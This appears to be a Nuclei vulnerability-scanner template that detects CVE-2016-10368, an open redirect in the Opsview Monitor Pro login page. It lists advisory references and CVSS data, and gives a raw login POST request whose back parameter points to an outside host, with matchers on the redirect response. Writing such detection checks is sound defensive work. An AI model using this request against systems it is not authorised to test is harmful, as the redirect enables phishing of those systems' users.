nuclei-templates/http/cves/2016/CVE-2016-10368.yaml

50 lines
2.0 KiB
YAML

id: CVE-2016-10368
info:
name: Opsview Monitor Pro - Open Redirect
author: 0x_Akoko
severity: medium
description: |
Opsview Monitor Pro before 5.1.0.162300841, before 5.0.2.27475, before 4.6.4.162391051, and 4.5.x without a certain 2016 security patch contains an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.
impact: |
An attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware.
remediation: |
Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
reference:
- https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341
- https://nvd.nist.gov/vuln/detail/CVE-2016-10368
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-10368
cwe-id: CWE-601
epss-score: 0.00179
epss-percentile: 0.55112
cpe: cpe:2.3:a:opsview:opsview:4.5.0:*:*:*:pro:*:*:*
metadata:
max-request: 1
vendor: opsview
product: opsview
tags: cve2016,cve,redirect,opsview,authenticated
http:
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login_username={{username}}&login_password={{password}}&login=&back=//www.interact.sh&app=OPSVIEW
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
- type: status
status:
- 302
# digest: 490a00463044022053236fc07e8f8bee772a2484bbde531f1e9da31dbcc8fc64ca4f7d969e8053b60220220f23fd5ddf52704bd9f0f029009bcaab6cf1b07e1d45ee99dbdbfdb5d220d5:922c64590222798bb761d5b6d8e72950